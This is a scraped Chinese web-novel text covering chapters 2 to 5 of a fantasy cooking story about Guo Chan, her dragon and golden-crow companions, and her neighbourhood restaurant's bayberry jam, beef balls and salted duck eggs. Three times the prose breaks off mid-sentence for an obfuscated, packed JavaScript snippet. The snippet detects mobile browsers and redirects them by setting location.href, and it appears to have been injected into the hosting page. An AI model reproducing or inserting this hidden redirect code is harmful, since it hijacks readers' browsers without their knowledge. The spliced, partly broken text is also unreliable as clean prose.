《灶神转正指南（美食）》 2. 第 2 章 郭婵端着竹叶糕刚推开堂房大门，一个不明物体就陡然撞上了郭婵的脸。别人生气我不气，气出病来无人替，郭婵在心中默念莫生气歌，恶狠狠地将还趴在她脸上的应龙抓下，青色的小龙，不过筷子长，一指粗，要是被别人瞧见，怕是以为是某种身材细长的昆虫。 应龙从撞击的眩晕中清醒过来，打眼瞧着郭婵不善的脸色，发出嘿嘿的猥琐大叔笑声，一开口就是老谄媚了，说道：“小婵儿，你也知道我不是有意的，别生气别生气。” 应龙看着体型小，其实是个上万年的老妖怪，总是隐瞒自己的年龄企图骗骗不知情的人。自称与郭婵没什么代沟，成功骗的小金乌叶九仟一口一个大哥，被郭婵无情戳穿他都是和叶九仟爷爷一辈的之后，叶九仟就不再尊称了，应龙应龙叫着使唤来使唤去。 郭婵也懒得理他,让他去吃最喜欢的竹叶糕，上千年在叶九仟和应龙的夹击下，她已经成功从暴躁少女进化了，修身养性。 熟练的从橱柜里取出香，拿起打火机点上，再插进灶王爷铜像的小香钵前，郭婵双手合十默立在铜像前。 不一会儿应龙解决完自己的餐食，打着饱嗝落在郭婵的肩上。不同于郭婵的一脸平静，虬龙看着灶王爷铜像偏下的两个大土罐，忧心忡忡地开口：“时间只有十年了，不用我说你也知道要抓紧。” 郭婵出口轻佻：“不就是成为不了灶神就灰飞烟灭嘛。” 应龙一下弹起，盯着郭婵说：“你倒是说得轻巧，不过灰飞烟灭。”气得把头扭了一百六十度，朝向尾巴的方向。 郭婵抬眼，在香雾缭绕的祭坛中，灶王爷面目幽深，看不出平日里供奉时的慈眉善目。她抬手扶了扶燃烧的香，淡淡开口：“那不然你教教我如何成为灶神？” 一听这话，应龙心里的气就像是被尖锐的针戳了一下，泄了。 他知道郭婵心里也有怨气，身边的两个伙伴是天生的圣兽，寿命与天齐。而努力了近三千年的郭婵却迟迟成不了灶神享受世人供奉，于她而言，是对她精湛厨艺及其热爱的污蔑，也是对她几千年辗转各地讨教厨师学习厨艺的否定。 在三千年的被人否定，甚至因为否定之人是天地而无法质问发泄的憋屈无奈中。 郭婵并不能就此释怀，她不是什么淡然无垠之人，甚至在入道之前便是打破时人偏见，声名鹊起，被各国王公奉为座上宾的天才。 哪怕她没有得到天地点播而入厨道，她依旧会在那个她出生的时代大放异彩。 应龙心里叹息一声，转过头蹭蹭郭婵的脸颊说：“你知道我不是那个意思，我也一直在想为什么你还不能成神，唯一有点思绪的是你不能除去凡性。” 郭婵不再搭话，她心里清楚应龙的着急，相伴千年老朋友的生命也许即将在短短的十年间凋零，这对于以万年为存活单位的虬龙来讲也是残酷的。 但三千年里她试过了所有的方式都没有办法成神，在抗争无法起作用的情况下，安稳陪自己的老伙伴度过最后一段时光是她唯一能为他们做的事了。 郭婵抬手摸摸应龙，一人一龙陷入沉默，都静立着仰望那座流转千年也未失去光彩的灶神像。老朋友之间哪怕是不发一语，也能心心相印。 而在一门之外，叶九仟垂眸看着青砖地面，眼角通红，他的年纪是最小的，从有记忆起就是郭婵和应龙照顾着他，天地间最晚出生也是最后一只的三足金乌。 寿命长达千年，万年，他们三人之间从来都是以朋友相处，可在小金乌眼里，平日里更为靠谱的郭婵最初扮演的是母亲的角色。 郭婵和应龙也许是照顾叶九仟从出壳到成熟，下意识里还是将叶九仟当成了小孩。两人之间对于郭婵的情况从未对叶九仟倾述，但是日日混迹在一起，叶九仟是大大咧咧，但他还不至于傻到意识不到这焦急的境况。 他会想出办法的，叶九仟目光坚定，悄悄放轻脚步离去。沉浸在自己思绪中的两人没有发现的叶九仟的到来和离去，导致了两人深深的悔恨。 如今的天气正热，过了两点小厨房就不再营业，送走最后一位客人，郭婵将休息中的牌子挂在门上，自己回到后院准备晚上营业用的食材。 当初郭婵租下这间店面，就是因为与其一同出租的小院子，后院是完完全全的四方形，正中种着一棵经年的老杨梅树。今年老树开花，挂了满枝的杨梅，一片丰收的喜意。 郭婵前几天摘下一竹筐的杨梅和叶九仟共尝，叶九仟嫌杨梅不够甜，被郭婵笑话不懂五味，吃了几个就全扔给郭婵自己解决。郭婵看着一竹筐的杨梅正头疼如何解决，突然想到做杨梅酱。 将杨梅用清水过一遍后，加入面粉小心搓洗，注意不能破坏杨梅表面。洗净后的杨梅用一把小剪将果肉剪下，装在碗中，加入少量蜂蜜与花茶茶水搅拌，盖上保鲜膜放在阴凉处静止三个小时。 再将杨梅果肉倒入小炖锅，开着中火慢慢加热，期间离不开人须得时时搅拌，顺着一个方向将锅底的杨梅果肉的翻上来，既能保证杨梅酱不粘锅，又是一次充分搅拌的过程。 最后加入少许白糖调味，转小火将汁水收干，等到杨梅酱用小勺舀起半挂不挂，欲落不落就算是大功告成。 无论是加在冻奶里还是刨冰上，都是极美味的。 水牛奶凝结成半固体状，入口丝滑，加上杨梅酱酸甜的风味，一口下去直接滑到胃里。而细碎的刨冰配上杨梅酱送入口中，口感更为丰富，较硬的冰块混合这软糯的果肉令舌头收获大满足，一路从口腔凉到胃，在炎热的夏天简直就是救命良药。 从郭婵推出夏日特饮起，搭配杨梅酱的水牛乳和刨冰就成了整个街道最受欢迎的凉饮。管大妈下了班时不时就带着孙子买上一碗回去，解暑开胃。 而到了下午开门的时间，七八个背着书包小学生涌了进来，为首的正是管大妈的孙子林准。这都得从今天中午的一碗刨冰说起，林准喜欢吃小厨房的菜，管大妈见孙子能好好吃饭也乐得带林准过来小厨房吃，她自己有退休工资，尝过郭婵的手艺那也是很喜欢。 唯一对此不满的林准父母在尝过小厨房的饭菜后也成了郭婵的忠实粉丝，还得求管大妈带孙子去小厨房觅食的时候打包点饭菜回来。 没了任何阻碍，林准早就对小厨房熟悉得和自己家一样，和叶九仟这个家伙更是成了好朋友，两个人都沉迷在奥特曼的世界里。 昨天他晚饭吃得太多，就将刨冰放在冰箱里让奶奶管大妈明天给他送到学校去。管大妈表示理解，小厨房的菜肴一般是放不过夜的，林准没有准备第二天一早起来吃已经是看在她的面子上强忍吃完的冲动了。 因此也就爽快答应了林准的请求，第二天估摸着林准已经睡完午睡起来给他送了过去。 林准拿到手刚好是大课间，估算着时间够他吃完刨冰， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289739|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在教室里开开心心地吃了起来。 林准的同桌是个看着胃口很好的小胖墩，小胖墩看着同桌的刨冰瞬间就觉得自己手里的巧克力冰棍不香了。忍不住拍了拍大口吃刨冰的林准，林准一边用眼神示意小胖墩有什么事，一边不忘继续吃刨冰。 看到这一幕，小胖墩的哈喇子都要流出来了。王明明，也就是小胖墩本墩立马挂上憨厚可掬的笑容，使用出那套他成功无数次的话语：“小准，你的刨冰看上去真吃！”然后睁大他的眼睛，试图让内心的可渴望透过眼睛这心灵的窗口让他友爱的同桌看见。 林准第一反应是背过身加快进食，王明明眼睛瞪得更大了，这得是多好吃才让林准舍不得分给他吃。于是靠着体格带来的武力值和死缠烂打成功吃到了林准碗里最后一口刨冰。 就是这一口令他神魂颠倒，在他王明明十二年的生涯里，从来没有吃到过如此好吃的刨冰，他觉得自己贫匮的语言无法形容那种滋味。在感叹美味的同时，又更加后悔自己只吃到了一口刨冰。 于是王明明求了一下午林准，让林准带他去吃刨冰，终于在临近放学时得到了林准勉勉强强肯定的回答。结果放学后两人行就变成了多人行，因为其他同学听到了两人之间的对话纷纷表示自己也要加入。 一只羊是放，一群羊也是放，林准也就爽快答应了。惹得王明明不快，亏自己求了他这么久，不过很快即将吃到刨冰的喜悦就冲淡了王明明内心的不快，背着书包的王明明心想今天又是快乐的一天呢。 将镜头转回小厨房，七八个孩子特意找了一张方桌，加了三四把椅子热热闹闹得挤做一堆，品尝自己碗里的美味。时不时发出惊叹，又夹之欢乐的笑声，小厨房里的其他食客也被孩子的直白感染，觉得自己点的饭菜更加美味。 李新民自从吃了小厨房的扬州炒饭，就成了小厨房的忠实拥簇者，每每有新品他大多都是毫不犹豫地尝试的。今天拉着江怀德来喝喝小酒聊聊天，小厨房不供应任何的酒水饮料，因此他自带了一瓶烧酒。 郭婵看见他带着烧酒来了，推荐他今天才做好的卤味拿来做下酒菜。李新民自然是忙不迭地答应，正中他下怀。 叶九仟给他们俩端上了个拼盘，有凉拌海带丝，酒肠花生，卤猪耳，片牛肉，酸辣藕片，加之一碗李新民必点的扬州炒饭。空腹喝酒到底伤胃，就该拿主食垫吧几口，再开始老友的喝酒聊天。 扬州炒饭自不必说，那是小厨房在街道一战成名的利器，连李新民这个从小吃到大的老饕也赞不绝口。 这今日新出的凉拌海带丝脆爽，酒肠花生一口一个嘎嘣脆还有荤肉的香气，卤猪耳更是令李新民惊喜，不失弹牙口感的同时，卤的很入味，一口咬下去，老卤的咸香略带药材的微苦溢满口腔，令人舍不得咽下去。 牛肉是经过熟制的，紧致有韧性，藕片则酸辣适宜很开胃，也适宜李新民这个在外漂泊多年还吃不了太辣的人，既有辣的爽感，又不至于令人感到不适。 李新民和江怀德两人胃口大开，将桌面的菜品扫荡一空后，才尴尬地发现自带的烧酒还没喝几口。两人吃完也不急着走，就在店外找了个小角落，坐着塑料小板凳，自顾自喝起酒来。 小板凳是郭婵好心借给两人的，店里的客人就没断过，外面还等着不少人。李新民和江怀德还没那么厚脸皮能顶着外面一群人愤恨的目光坐在店内自若地饮酒。 3. 第 3 章 黄昏终将落幕，黑夜席卷了幸福街道。送走了最后一位客人的小厨房结束一天的营业，郭婵却还没准备结束今天，摩托车的轰鸣声从远处拉近。 郭婵明白是自己的供货商来了，擦擦手迎了出去。 从摩托车上下来的是一位憨厚的中年男子，看见郭婵的身影加快速度，不多时提着一大扇黄牛肉走进郭婵的店里。 林清明是安阳郊区小方山的养殖户，两人的结缘是因为郭婵制作双皮奶时需要用到水牛乳。 安阳的牛肉养殖更多的是黄牛，水牛养的不多，经幸福街道的居民介绍认识开牛场有养殖水牛的林清明。 郭婵第一次采购之前为了保证食品的品质特意去了小方山的林家牛场，实地考察之后对于林清明养殖的家畜赞不绝口，林清明有着少有的对养殖的热情，基本上一年到头都住在养殖场里。养的牛羊膘肥体壮，散养的少量鸡鸭也都很有精气。 因为现在小厨房虽然客人多，但局限于地段原因，用不了多少的食材。蔬菜果品都从附近长期开的小集市采购，蔬菜大多是郊外的农民自家种的挑过来挣几个辛苦钱，新鲜不说，多数用的都是农家肥。 而鸡鸭也就从林清明那采购，林清明养的不多但是供给小厨房是绰绰有余。 最近林清明发来消息称他家有一批牛要出栏了，问要不要给郭婵送来。郭婵一开口就订了一百斤，她准备推出一些有关牛肉的菜品。 郭婵看着这一大块上好的牛肉，色泽鲜亮，纹理细腻，还透着血色。脑海里浮现出一大堆美食，手打牛肉丸，酱牛肉，牛肉拉面，土豆牛腩煲，想想口水就要流出来了。 这么晚的天，郭婵也不多留林清明，给他装上自己做的咸缸豆，腌萝卜和卤猪耳等熟食，满满一大袋给他带上，付了钱款就叮嘱他快回家。 林清明推脱几句推脱不掉郭婵的投喂，无奈将大袋绑在后座，骑着摩托车回家了。 人之间的人情世故有时候就是简单的真诚，郭婵将林清明当做朋友对待，每次林清明来送货，郭婵总是装上一大包自己做的吃食送给林清明，林清明也是投桃报李，给郭婵送来的鸡鸭，牛乳都是质量最好的。 就连这刚送来的牛肉，林清明怕早上批量宰杀的不新鲜，他知道郭婵对食材的高品质要求，特意等到杀自家要留下来吃的牛时，才将刚刚宰杀分割的新鲜牛肉送来给郭婵。 等到林清明离开，郭婵才关了门歇业。将牛肉提进后厨后，叫来在看动画片的叶九仟，两人一起将牛肉清洗了几遍。 郭婵将牛肉分成几大块，挑出两大块将近十斤的牛肉，让叶九仟将牛肉捶打成肉泥，以便郭婵制作牛肉丸。 叶九仟听到自己还要捶打牛肉，脸立马垮了下来，嘟囔着：“就知道使唤我！”郭婵假意没听到施施然走到一边开火准备再熬制一些杨梅酱，最近店里的杨梅酱都快见底了。 叶九仟心里挂念着奥特曼还有没有变身，想溜回房间看动画片，人类的东西可真奇怪，要是看不到就心痒。 可是郭婵就站在他对面，叶九仟撇撇嘴，到底是不敢挑战厨子的权威，老老实实的甩臂，时不时加入郭婵提前备好放在一旁的葱姜水，搅合一下。 这头木头敲击牛肉的闷响，那头杨梅汁水热开后小泡啵一声的破开声，交织成小厨房里最为美妙的旋律，合成乐曲，静静流淌在满天星的夏夜。 叶九仟到底是年轻男妖，不过二十几分钟，就将原先大块的牛肉捶打成一坨牛肉泥。郭婵将肉泥挑起一点仔细观察，确定没有牛肉的纤维被完整破坏，看看叶九仟那心不在焉的神色，也就摆摆手让他自个回去看动画片。 叶九仟惊呼一声，立马冲出厨房，像匹欢腾的小马，立时消失得无影无踪。 郭婵目送叶九仟的背影离去，一千岁的男妖还沉迷于小孩子钟爱的动画片。 不禁摇头浅笑，他和应龙都是只知道吃的货色，她也就让叶九仟做些粗活，涉及到做菜她是万万不敢让他碰的，这是有经验的，叶九仟就是个厨房杀手。 郭婵到现在都想不明白，她将所有东西的准备好让叶九仟把食材倒进锅里翻炒，叶九仟能不把锅炸掉或者捅出一个洞就已经是极好的了。 之后她再也不敢叫叶九仟拿锅铲，哪怕她自己累一点，也要确保自己心爱厨房的安全。 郭婵左手拿一小勺，右手使力让牛肉泥从大拇指和食指之间的小孔钻出，轻轻一舀就是一个可爱的牛肉丸，将牛肉丸在洒了些许玉米淀粉的托盘上。 将所有牛肉泥做完，做了整整一千个牛肉丸，都低温保存起来。郭婵心里盘算着一千个牛肉丸明天可以加一顿早餐，有多的可以做个红烩丸子。因为懒，郭婵一周早上也就开业个一两天，全看能不能起得来。 管大妈将孙子送出门后，看着时间来不及再做早饭了，就准备顺路去郭家小厨看一眼，说不定今天郭老板早起了呢。 还没看到郭家小厨房的门面，管大妈先被一阵诱人的香气笼络住，心里更加确定郭老板开了早点，加快脚步走去。 到了之后打眼一瞧，郭婵正站在一个大锅面前，锅里浮沉这牛肉丸，旁边的小桌子摆着七八种调味料。 管大妈来的早，前面只有两三个人。排着队的管大妈不时伸长脖子看锅里的牛肉丸，也不知道这牛肉丸有什么魅力竟然让她舍不得挪眼，牛肉香味不断刺激着管大妈的嗅觉。 到了郭婵跟前，也不用郭婵询问，立马喊道：“郭老板，快给我来一份牛肉丸，真是太香了，我没啥忌口，调味料你加就是。” 郭婵明白，从托盘里取出牛肉丸一个接着一个下到沸腾的高汤里，清汤是用猪大骨熬制的，还加了枸杞，葱姜等佐料，高汤清亮，色白。 牛肉丸在高温的烫煮下迅速变为偏暗的白色，郭婵不急着捞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289740|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出，而是时不时用手里的大漏勺压一压牛肉丸，确保牛肉丸完全浸在汤汁里。 要想吃到可口爽弹的牛肉丸，火候和时间要掌握着恰到好处，时间过短，火候不到会导致牛肉丸夹生，而烫煮时间过长又会导致牛肉丸口感过老，没有一口咬下去汁水横流，弹弹的口感。 管大妈看着锅里牛肉丸起起伏伏几十秒，不由得心急，她相信郭婵的手艺什么时候吃口感最好郭婵永远不会出错，可忍不住想快点吃到，令她觉得度秒如年。 好在郭婵很快就将牛肉丸捞出，加入精盐，生抽，紫菜之后舀起一勺高汤放入碗中，再点缀一些虾米，小葱和榨菜粒。 管大妈接过牛肉丸，还等不及往店里走，就急匆匆舀起一个牛肉丸咬了一口，瞬间汁水迸发在管大妈的口中。 爽口弹牙的牛肉咬上一口就已经让管大妈沉醉，再喝上一口碗里的高汤简直令管大妈觉得到了极乐之巅，加上虾米，紫菜，榨菜等配菜的丰富口感，管大妈已经无法自拔。 管大妈几口就将一碗牛肉丸吃完，连汤底也没剩下。管大妈觉得自己还可以再吃一碗，可是看着门口排起的长队，在纠结中还是选择去居委会上班，她还是个很负责任的居委会干部的，只不过会在美食面前摇摆不定。 不过想着下班之后可以带着孙子来吃，管大妈就乐呵呵地走了，还热情地和大厨郭婵，收拾桌子的杂工叶九仟各打了招呼才离去。 叶九仟看着管大妈的笑脸愣在当场，有些热泪盈眶，管大妈终于发现他童心下的优点了。 管大妈对于和自己孙子一样沉迷奥特曼变身的叶九仟一直有点看不上。二十几岁的大小伙子，天天看着动画片也真是不嫌臊。 等到郭婵终于卖完早点，已经是九点半了，这还是她只拿出了六百个牛肉丸的情况下，毕竟她准备拿剩下的四百个丸子做红烩丸子作为中晚餐的菜品。 要是将牛肉丸全部拿来做早点估计卖完也不过就是时间的问题，还有不少晚起的人没吃到而遗憾离去，不乏有捶胸顿足后悔自己起得太晚的人。 杨可欣就是捶胸顿足的人之一，作为刚毕业的大四生，杨可欣在外地上大学最近几天才回家着手准备找工作。 杨爸杨妈对于自家宝贝女儿回来找工作自然是非常开心，杨可欣刚到家就被他们拉来郭家小厨房吃晚餐。本来杨可欣对这种路边小店没有什么期待的，毕竟她从小也是在附近上学，以前幸福街道的小饭店就没有她没吃过的。 但是父母这么热情，杨可欣即使很累也不好意思拒绝父母。结果就这么一次不走心的尝试，杨可欣有了意外之喜，变流泪猫猫头表情包狼吞虎咽的杨可欣表示，郭家小厨房就是最好吃的，没有之一。 但是因为习惯性熬夜，杨可欣从来没有赶上郭家小厨房的早点，安慰自己中午再来的杨可欣想想中午不一定有清汤牛肉丸，眼泪又要出来了。 4. 第 4 章 晨练完的李新民提着自己打包的清汤牛肉丸优哉游哉地回家，刚关上家门，就听到了隔间急促的电话铃声。 接起来，是自己在首都的隔房侄子李海潮打来的，年过四十的壮实男人带着哭腔说道：“堂伯，我爸昨天刚去了。” 李新民有些恍惚，又有些了然。堂弟李新邺自幼身体就不是很好，后来因为原本继承人堂哥李新城的英年早逝，自己的任性出走，家里排行第三的李新邺自然而然接过了家族事业。 在后厨忙碌了几十年，烟火气与劳累更加压垮了他的身体，调教出儿子李海潮后就退休了，但是身体一直不好，两天一小病，三天一大病，勉强撑了十几年最终还是溘然长逝。 恍惚着和堂侄李海潮通完话，李新民看着寂静到有些死寂的家，最终陷入了沉默。沉默地开始收拾衣物，准备赶往首都参加堂弟李新邺的葬礼。 在李新民独自怀揣着寂寥奔赴首都的时候，老友江怀德却在郭家小厨房的后院跟着郭婵一起腌咸鸭蛋。 江怀德出生于江淮，小时候他就跟着父亲赶鸭子，每天起床第一件事就是去芦苇荡里捡鸭蛋。肥美鸭子的盛产带来的是各种鸭与鸭蛋制品兴盛，其中咸鸭蛋就是江淮人生活中不可缺少的美食。 江怀德去郊区的一位同乡家钓鱼吃饭。同乡是开农家乐的，业务颇广，养殖鸡鸭鱼也开垦了几分菜地。 鸭子都是散养的，承包了十几亩地附带着一个大池塘。鸭子的日常就是在池塘里戏水，充足的农家饲料，池塘里小鱼虾的额外补充，造就了一只只肥美的鸭子。 鸭子肥美在一定程度上可有效提高鸭蛋产量，同乡家的鸭蛋在供给自己的农家乐餐馆后绰绰有余，也不吝啬分了江怀德两百个新鲜鸭蛋。 江怀德想着自己夫妻两口子哪怕是一人一天一个都消耗不了多少，这鸭蛋光是放着不做处理那也不行，不如请郭老板帮忙全腌掉，即耐放又经得住吃，岂不美哉。 于是一回幸福街道就跑来了郭家小厨房。 郭婵看着江怀德拿来的鸭蛋一个个都个大匀称，看着就是精心养着的老鸭下的而不是随随便便就能买到的养殖场能买到的一般货色。 也不推脱，当即就答应了江怀德的请求，江怀德也是闻弦知美意，提出将腌的一半咸鸭蛋送给郭婵开发新菜单。 两人一拍即合，乘着小厨房中午开业还有一段时间，立马开干。 郭婵想着老食客江怀德正是以咸鸭蛋闻名全国的江淮人，还问他：“江爷爷，您不就是江淮人，这做咸鸭蛋你们当地有没有什么家用的小秘方啊？” 江怀德面露尴尬，摸了一把自己的青寸头，回她：“我二十几岁就离家参军，唯一在家里的时候这腌咸鸭蛋可是轮不上我给家里的女人们帮衬的。” 好了不用说，郭婵明白指望能从江怀德那薅点本地人知道的小妙方是不可能的了，那这样就按着自己的古方来吧。 咸鸭蛋历史悠久，古称咸杬子。古时要用杬树皮煎汁，加入一升左右的食盐搅和均匀放凉后来浸泡新鲜鸭蛋长达一月才能开封食用。不过时代迁移，用杬树皮煎汁过于繁琐，杬树也不大好寻找。 聪明的人们简化了咸鸭蛋的腌制步骤，仅使用食盐来腌制鸭蛋。 郭婵却不肯简化，打算做古法咸鸭蛋。刚好自己家里还存着少量的杬树皮，这种树皮当时削下后就用熏干法烤干，百虫不侵存放时间可长达百年。 郭婵请江怀德用她拿出来的自酿小麦酒擦拭洗净新鲜鸭蛋表面的脏污，她要去库房找找自己很久以前就不知道放哪的杬树皮。 江怀德将鸭蛋冲过一遍水后才开始用白酒擦拭鸭蛋，白酒用一个黑釉瓷瓶装着，一拔开塞子，一股浓郁绵长的酒香就钻进了江怀德的鼻子。 江怀德不自禁地喉咙上下滑动，也不知道郭老板怎么酿制，普普通通的小麦酒居然有着如此绵长的酒香。光是闻着就让他心旷神怡，恨不得一口闷个大的。 可是想想自家老婆子三令五申自己再不能碰酒，再者这酒可不是拿来给自己品尝的。江怀德只能按捺下自己蠢蠢欲动想要品尝的心。 老老实实的开始擦拭鸭蛋，却在心里不断可惜这好酒只能拿来赏给这没有酒肠的鸭蛋们了。 郭婵翻找了好一会还没找到自己留存的杬树皮，反而是找到了生石灰，碱面和草木灰，不禁又想到了个处理鸭蛋的好方法——松花蛋。 取好大概够用于制作五十个松花蛋的生石灰，碱面和草木灰。郭婵还是不肯放弃，继续翻找着那一个个箩筐。 翻动的声音引来了叶九仟，叶九仟还叼着个水蜜桃味棒棒糖，站在用作库房的房间门口，开口问道：“小婵婵，你在找什么呢,要不要我帮忙啊？” 叶九仟跟郭婵一起生活了上千年，郭婵一开始找东西，绝对是要做什么好吃的了。他刚好借着这个机会跟在郭婵身边蹭吃的。 叶九仟还在洋洋得意自己的蹭吃智慧，听到郭婵一声“杬树皮”立马泄气了。因为他把杬树皮放到自己房间了。 他是只鸟啊，哪住得惯这泥土房子，就悄悄从库房拿了一些树皮草叶放到自己房间，让自己房间好得沾点草木之气才能符合他金乌的身份嘛。估摸着就是那时候他把郭婵正在找的杬树皮拿走了。 叶九仟也不敢说是自己害的郭婵找了这么长时间，心里害怕郭婵生气，悄悄溜回房间。一顿猛禽操作，把自己拿过来的树皮草叶包圆，抱着一大堆东西跑回了库房。 郭婵也不在意这傻鸟的问题，自己继续找自己要用的杬树皮。 叶九仟拿回来后一溜烟藏到离门口最近的一个箩筐里。又装模作样地掀起箩筐上盖着的竹编。大喊一声“小婵，这是不是你要找的杬树皮呀！” 郭婵疑惑转身，发现叶九仟拿着的一片干树皮确实是自己找了许久的杬树皮，正疑惑着：“怎么会在那个箩筐里啊？门口的我最先找的呀。” 叶九仟心里正心虚着，一把把杬树皮塞到郭婵手里，推着郭婵的肩膀离开库房，心虚的笑着道：“这离门口近的就十几个箩筐叠着了，也许你刚好漏了这个箩筐了呢。既然找到了就快去用吧。” 这库房是一排排的木架，每行高近一米，刚好是能塞下箩筐加上竹盖的高度。一排的长度又刚好可以排上五个箩筐。 郭婵也只能自认倒霉，可能刚好自己就是忘了找装杬树皮的箩筐了，倒是没发现叶九仟干的缺德事。 叶九仟目送着郭婵的身影消失在转角，不由得长松一口气，终于送走这瘟神了。要是被她发现自己把她的材料拿来当入睡熏香，郭婵打自己一顿都是少的了。 叶九仟在放松后又开心起自己居然成功糊弄了郭婵一次，不禁喜滋滋地舔起棒棒糖，蹦跳着回房看自己着急忙慌还开着的动画片。 郭婵找好材料，一切准备就绪，麻溜地开始腌制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289741|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咸鸭蛋和松花蛋。江怀德看着郭婵那行云流水，面面俱到的动作，怕自己上去反而帮倒忙。 干脆搬来原本放在杨梅树荫下的竹椅在旁边看着郭婵大展身手。这是江怀德第一次进入郭家小厨房的后厨，近距离观看郭婵做菜。 江怀德是个糙汉，跟厨房这东西一直以来都是无缘的。少时他身为家中长子最重要的事是作为父亲的助手帮忙照看那一大群鸭子。母亲以及后来长成的妹妹们才是家中那个矮小狭窄的厨房真正意义上的主人。 她们几乎都绕着那个厨房走动，对她们而言料理一大家子的伙食，在贫瘠的岁月里尽量用自己的一双巧手制作出让家人称赞的美食就是一件可喜的美事。 长到二十来岁，凭着一腔年轻血气，江怀德不顾父母的阻拦毅然选择了参军。妻子在他走的那天在厨房沉默地备好他几天的干粮，只在孤身送他的路上落了泪。 他安慰妻子，妻子擦擦泪，勉强挤出笑，说着：“我知道你，你要是不去就不是你。我就是个不识字的村妇，我就想你答应我两件事，一是活着回来，哪怕落了一身伤病，只要你没死爬都得爬着回来见我和大生，二是你在外面得惦记着我们娘俩，没了你，我和大生孤儿寡母哪怕有着亲戚帮衬也得受气。我......”话还没说完，早被哭声淹没。 他抱着妻子，轻拍妻子的后背，感受着妻子的身躯在自己的臂膀中哭着颤抖不止。他从不是巧嘴的人，在与妻子的生活中也是扮演着沉默可靠的当家人角色。 在这种分别的时刻，也只能不断重复着一声声“我会的，会的”。他对未来尽管有着不能为人说道的迷惘与担忧，但是在妻子面前只能承诺，自己会活着回家，闯过连天的战火。 幸运的是他确实活过了战争，活着回家和自己的妻儿团圆了。 到战争结束后的工作时期，妻子跟随自己从老家江淮到了千里之外的安南市，他工作忙，妻子作为普通的工人比起他更有时间照顾他和家里的几个孩子。 因此从年轻时居住的筒子楼里的一个小炉灶，到如今楼房里现代化的厨房又成了妻子的阵地，轻易不会让他进入。 他很少进入厨房看妻子做饭炒菜，如今到是有幸见识了一回郭婵下厨。他一个大老粗，你要说什么好吃什么不好吃，他能说个一二，知道郭老板做的饭菜都是鼎鼎好吃的，人生之最。 连他家老婆子浸淫厨房多年，对于做菜这方面可谓有着几十年经验衍生出的独到见解，也是恨不得和他一起天天一日三餐到郭家小厨房报道。这郭家小厨房更是天天客似云来，由此可见郭婵的手艺在他们心中的重要性。 但你要说什么下厨，就是加个生姜水有什么作用，他是什么也说不出，最后只能喃喃一句郭老板这样做肯定是能让菜更好吃的。 看着郭婵的一举一动，江怀德只能说是美，一个步骤接着一个步骤，将每一秒都恰到好处的运用起来，郭婵自有一种气定神闲的气质，看着就让人不自觉沉浸在她的节奏里。 思绪像是飘在一片云里，放松地回到小时候，他跟在母亲屁股后面等着一年一次的肉，母亲总会以尝尝咸淡的借口来嘉奖望眼欲穿却不吵不闹的孩子们。 时光总是短暂，江怀德活了几十年早就参透了一二。但是这做菜也是短暂，等江怀德回过神来，已经是郭婵捧着两个小罐让江怀德带回家放上一个月再开封，作为他送给自己鸭蛋的谢礼。 5. 第 5 章 江怀德高高兴兴捧着一坛咸鸭蛋，一坛松花蛋回家。江怀德的妻子江月娥在家里还担心着，这老江平常出去钓鱼，这个点早回来了，现在这会还没到家不会出什么事了吧。 刚想去给大儿子江生打个电话，隔着铁门听到了一阵熟悉的脚步声，得，那死老头回来了。 江月娥装作之前的焦急担忧没有存在过，施施然地坐在沙发上织已经完成一半的灰色毛线背心。 江怀德还没开门，他兴奋的声音就从铁门外传来“老婆子，看我带了什么回来！” 江月娥这才放下手里的毛线，走上去接江怀德手里提的一个大塑料袋。江怀德没递给她，把帽子摘下来递给了自己的妻子，说了一声：“这东西重，你别碰。” 大塑料袋放到地面，与地砖碰撞发出清脆的响声，顺势露出了里面两个坛子。 江月娥问他：“这是啥，你拿回来干嘛呀？这东西一路提回来得多累啊。” 江怀德嘿嘿一笑回道：“我不是去老王家钓鱼了嘛，他送了我两百个鸭蛋，我寻思着家里就我们两个也吃不了多少，就去找了郭老板腌了。送了一百个鸭蛋给她，剩下的五十个做了咸鸭蛋，五十个做了松花蛋。你可以送老徐他们几个，咱俩这个年纪这种东西要少吃些。” 江月娥一听，也不气自家老伴不告诉她一声这么晚才回家了。笑着道：“那可好，小婵做的肯定比外面买的好吃，到时候能开封了我匀几个出来送给邻居们，尤其是你可不能多吃，这高血压就不能吃太多盐。” 江怀德连连点头，他可不敢在这事上触老伴的霉头。 江家老两口和和美美地盘算着这咸鸭蛋和松花蛋得怎么吃，又要给邻居们送几个，气氛别提多温馨。 